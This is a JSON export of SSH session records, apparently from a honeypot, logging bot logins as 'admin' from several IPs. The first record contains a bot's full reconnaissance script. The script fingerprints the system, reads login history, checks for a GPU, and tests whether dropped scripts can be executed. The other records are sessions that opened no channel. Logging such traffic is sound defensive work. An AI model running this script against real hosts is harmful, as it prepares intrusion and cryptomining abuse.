  "id": "48ac260a-ffd6-4ca3-af96-84bfb5ed29b9",
  "name": "wandering-faded-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.49",
  "src_port": 41844,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-20T07:33:23.177624+00:00",
  "ended_at": "2026-08-20T07:33:23.278200+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "7a937733-3ccb-499c-8109-fc0162d9fa7d",
  "name": "brave-rustic-gazelle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "92.118.39.49",
  "src_port": 38910,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T07:31:39.863374+00:00",
  "ended_at": "2026-08-20T07:31:42.002306+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "16afed73-75cf-41e5-8c8e-61a1e92ce57f",
  "name": "jolly-rugged-albatross",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "92.118.39.49",
  "src_port": 35952,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T07:30:01.861009+00:00",
  "ended_at": "2026-08-20T07:30:03.103006+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e2b722bd-8fbb-436b-9e06-de757162c676",
  "name": "lunar-humble-albatross",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "92.118.39.49",
  "src_port": 32990,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T07:28:21.221768+00:00",
  "ended_at": "2026-08-20T07:28:22.417117+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "23acd5de-7198-4cac-87b5-55dbca241bea",
  "name": "humble-ancient-vervet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.90.185.20",
  "src_port": 57514,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T07:28:14.548896+00:00",
  "ended_at": "2026-08-20T07:28:19.426038+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "02422e05-1572-4a4f-abfb-a654c725532a",
  "name": "glassy-autumn-civet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 44796,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T07:18:27.953962+00:00",
  "ended_at": "2026-08-20T07:18:28.804867+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "05e66a40-b8b1-4d65-9a97-61020acc7e68",
  "name": "fabled-silent-wombat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.151.135.110",
  "src_port": 60782,
  "username": "admin",
  "client_version": "SSH-2.0-libssh2_1.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T06:42:06.425483+00:00",
  "ended_at": "2026-08-20T06:42:08.479052+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2ffbfe4a-05c0-4f47-973b-265933e4a5bc",
  "name": "golden-keen-wombat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 39502,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T06:22:04.518220+00:00",
  "ended_at": "2026-08-20T06:22:05.880407+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6ae7a9a8-342b-4a99-a53b-0786922a3a0c",
  "name": "eager-daring-marten",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "35.187.183.159",
  "src_port": 40456,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-20T05:37:00.096535+00:00",
  "ended_at": "2026-08-20T05:37:02.313224+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 }
]